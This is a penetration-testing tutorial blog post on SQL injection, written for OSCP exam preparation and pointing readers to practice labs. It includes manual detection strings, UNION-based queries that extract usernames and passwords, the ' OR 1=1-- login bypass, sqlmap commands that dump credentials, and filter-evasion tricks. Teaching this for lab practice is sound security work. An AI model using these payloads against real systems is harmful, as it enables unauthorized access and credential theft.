Post 3: SQL Injection (SQLi) for Web Pentesters

SQL Injection is one of the most powerful and commonly exploited vulnerabilities in web apps — and still comes up often in OSCP and eCPPT. If you can find it, you can often bypass authentication, read sensitive data, or even get a shell.

This post covers both manual techniques and automated exploitation with sqlmap. By the end, you’ll be able to detect, confirm, and weaponize SQLi like a pro.

  1. What is SQL Injection?
  2. Identifying Injection Points
  3. Manual SQLi Detection
  4. Extracting Data Manually
  5. Bypassing Login Forms
  6. Automating with sqlmap
  7. Advanced Techniques and Filters
  8. Real-World Exam Tips

SQL Injection happens when a web application includes unsanitized user input directly in SQL queries. If the input isn’t properly handled, an attacker can alter the query, resulting in:

  • Data exfiltration
  • Authentication bypass
  • Data manipulation
  • File reads (with LOAD_FILE)
  • Code execution (in some databases)

Look for user-controllable inputs that interact with the backend:

  • URL parameters: page.php?id=5
  • Search fields
  • Login forms
  • Contact/feedback forms
  • Cookies or headers

Start by manually testing with special characters:

'
"
`
\
)
(
%

Observe the application’s response. An error or change in output could indicate SQLi.

Let’s say you have:

http://target.com/product.php?id=2
?id=2         # Normal request
?id=2'        # Add single quote — causes syntax error?
?id=2'--      # Comment out rest of query
?id=2 OR 1=1  # Does it return more results?
?id=2 AND 1=1     # Should return normal response
?id=2 AND 1=2     # Should return different (error or blank)

If the output differs, you’ve got blind SQLi.

Once confirmed, try extracting data:

?id=2 ORDER BY 1-- 
?id=2 ORDER BY 2-- 
?id=2 ORDER BY 3--   # Continue until it errors
?id=-1 UNION SELECT 1,2-- 
# Try different numbers of columns until no error
?id=-1 UNION SELECT username,password FROM users-- 

Or:

?id=-1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema=database()-- 

This reveals table names, then columns, then data.

Login page:

POST /login.php
username=admin&password=123

Inject into fields:

Username: ' OR 1=1--
Password: anything

This tells the SQL engine:

SELECT * FROM users WHERE username='' OR 1=1-- ' AND password='anything'

Result: You’re logged in without a valid password.

Use this only after manual checks — OSCP rewards hands-on exploitation.

sqlmap -u "http://target.com/page.php?id=1" --dbs
# Test and enumerate databases
sqlmap -u "http://target.com/page.php?id=1" -D mydb -T users --columns
# Show columns in a specific table
sqlmap -u "http://target.com/page.php?id=1" -D mydb -T users -C username,password --dump
# Dump credentials from the table

Other useful flags:

  • --level 5 --risk 3: More aggressive tests
  • --cookie="session=abc123": Inject into cookie
  • --forms: Scan forms
  • --batch: Skip prompts (for automation)
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment

Try different tamper scripts like:

  • between
  • charunicodeencode
  • space2comment

You can also bypass filters manually using:

UN/**/ION/**/SELECT

Or hex encoding:

SELECT 0x61646d696e  # = 'admin'
  • Test manually first — OSCP will expect it
  • Always check for blind injection, not just verbose ones
  • Don’t stop at confirmation — escalate to data extraction or bypass
  • Combine with auth testing: login forms, cookies, headers
  • Always test POST and GET parameters
  • TryHackMe: SQL Injection, OWASP Top 10
  • PortSwigger Labs: SQL Injection track
  • DVWA: Low, Medium, High SQLi challenges
  • bWAPP: Great for blind and advanced SQLi

Post 4: Command Injection
We’ll cover:

  • How to detect it manually
  • Real-world payloads
  • How to turn it into a shell
  • Bypassing filters and output restrictions

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top